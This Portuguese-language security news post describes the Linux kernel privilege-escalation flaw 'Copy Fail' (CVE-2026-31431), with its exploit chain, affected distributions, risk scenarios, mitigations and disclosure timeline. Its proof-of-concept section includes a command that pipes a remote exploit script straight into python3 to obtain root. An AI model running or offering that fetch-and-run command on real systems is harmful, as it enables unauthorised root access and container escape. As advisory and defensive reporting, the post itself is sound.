← Voltar à lista

732 bytes para comprometer qualquer Linux: vulnerabilidade épica oculta por quase uma década

itadol5j

Vulnerabilidade Copy Fail

🚨 Vulnerabilidade épica: 732 bytes para comprometer todos os Linux, oculta por quase uma década

Uma vulnerabilidade do kernel Linux chamada“Copy Fail” (CVE-2026-31431) foi divulgada publicamente:

  • 732 bytes de script Python
  • 100% confiável, sem necessidade de janela de corrida nem de offsets do kernel
  • afeta todas as distribuições Linux (de 2017 até hoje)
  • primitiva de escape de contêiner, ataques entre tenants
  • oculta por quase uma década, até ser divulgada em 29 de abril de 2026

O mesmo script funciona emUbuntu, RHEL, Amazon Linux, SUSE — sem necessidade de modificações.

🎯 O núcleo da vulnerabilidade

um único defeito lógico

O Copy Fail é umdefeito lógico direto:

  • não precisa de janela de corrida: ao contrário da maioria das LPEs do Linux, que exigem race condition
  • não precisa de offsets do kernel: não requer offsets específicos do kernel
  • 100% confiável: funciona todas as vezes
  • o mesmo script: funciona em todas as distribuições

Cadeia de exploração

A cadeia de ataque do Copy Fail:

  • erro lógico de authencesn: um bug lógico
  • AF_ALG: via API crypto do kernel
  • splice(): chamadas em cadeia
  • escrita de 4 bytes no page cache: primitiva final de ataque
  • explorável por quase uma década: de 2017 até o lançamento do patch

📊 Escopo afetado

Distribuições oficialmente verificadas

Distribuição Versão do kernel Status
Ubuntu 24.04 LTS 6.17.0-1007-aws ✅ Verificado
Amazon Linux 2023 6.18.8-9.213.amzn2023 ✅ Verificado
RHEL 10.1 6.12.0-124.45.1.el10_1 ✅ Verificado
SUSE 16 6.12.0-160000.9-default ✅ Verificado

Outras distribuições afetadas

As seguintes distribuiçõestambém são afetadas:

  • Debian
  • Arch Linux
  • Fedora
  • Rocky Linux
  • AlmaLinux
  • Oracle Linux
  • Linux embarcado

Conclusão: se o seu kernel foi compilado entre 2017 e o patch —você está afetado.

💡 Cenários de alto risco

Cenário Risco Impacto
Hosts Linux multi-tenant alto qualquer usuário se torna root
Clusters Kubernetes / contêineres alto ataques entre contêineres e entre tenants
CI Runner / Build Farm alto PRs obtêm root do runner
SaaS em nuvem que executa código de usuários alto tenant se torna root do host
Servidores Linux padrão médio LPE interno, pode ser encadeado em ataques
Notebook de usuário único baixo etapa de escalação de privilégios pós-exploração

🔧 Medidas de mitigação

Opção 1: atualizar o kernel (recomendado)

Atualize o kernel para uma versão que contenha omainline commit a664bf3d603d:

  • Conteúdo da correção: reverte a otimização in-place do algif_aead de 2017
  • Efeito: páginas do page cache não aparecem mais na scatterlist de destino gravável
  • Status: a maioria das distribuições principais já publicou patches

Opção 2: desabilitar o módulo algif_aead (temporário)

# 禁用 algif_aead 模块
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true

Impacto de desabilitar o algif_aead

Componente Impacto
dm-crypt / LUKS não afetado
kTLS / IPsec não afetado
OpenSSL / SSH não afetado
espaço de usuário AF_ALG possivelmente afetado

Conclusão: para a maioria dos sistemas, desabilitar o algif_aeadnão tem impacto perceptível.

Opção 3: bloquear AF_ALG via seccomp

Para cargas de trabalho não confiáveis (contêineres, sandboxes, CI), bloqueie a criação de sockets AF_ALG via seccomp:

# 检查 AF_ALG 使用
lsof | grep AF_ALG
ss -xa

🚀 Demonstração do PoC

O PoC da vulnerabilidade está disponível publicamente para que defensores verifiquem seus sistemas:

Execução rápida

$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

Detalhes do PoC

  • Tamanho do arquivo: 732 bytes
  • Linguagem: apenas stdlib do Python 3.10+ (os, socket, zlib)
  • Alvo padrão: /usr/bin/su
  • SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9

Aviso: o script modifica o page cache do binário setuid; as alterações não persistem após a reinicialização, mas o shell root é real. Não execute em ambiente de produção.

📅 Linha do tempo da divulgação

Data Evento
2026-03-23 Reportado à equipe de segurança do kernel Linux
2026-03-24 Confirmação inicial
2026-03-25 Proposta e revisão do patch
2026-04-01 Patch enviado para a mainline
2026-04-22 Atribuição do CVE-2026-31431
2026-04-29 Divulgação pública

🔍 Descobridor: Xint Code

A vulnerabilidade foi descoberta porXint Code:

  • Tempo de varredura: cerca de 1 hora varrendo o subsystem crypto/ do Linux
  • Método de descoberta: auditoria de código impulsionada por IA
  • Análise completa: root cause, diagramas e prompt do operador
  • Outras descobertas: outras vulnerabilidades de alta severidade encontradas ao mesmo tempo, ainda em divulgação coordenada

Histórico do Xint Code

  • 0-day RCE: ZeroDay Cloud, dominando a categoria de bancos de dados (Redis, PostgreSQL, MariaDB)
  • DARPA AIxCC Top 3: finalista da DARPA AI Cyber Challenge
  • DEF CON CTF 9×: equipe mais vitoriosa da história do DEF CON CTF

📝 Resumo

O Copy Fail (CVE-2026-31431) éuma vulnerabilidade épica do kernel Linux:

  • 732 bytes para comprometer todos os Linux (de 2017 até hoje)
  • 100% confiável, um único defeito lógico
  • escape de contêiner, ataques entre tenants
  • oculta por quase uma década, até ser divulgada em 29 de abril de 2026
  • Cenários de alto risco: hosts multi-tenant, clusters de contêineres, CI Runners, SaaS
  • Mitigação: atualizar o kernel ou desabilitar o algif_aead
  • Descobridor: Xint Code, auditoria de código impulsionada por IA

Uma vulnerabilidade épica de quase uma década, um único script para comprometer todos os Linux.

Site oficial da vulnerabilidade:https://copy.fail

PoC no GitHub:https://github.com/theori-io/copy-fail-CVE-2026-31431

Análise técnica:https://xint.io/blog/copy-fail-linux-distributions

Patch do kernel:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5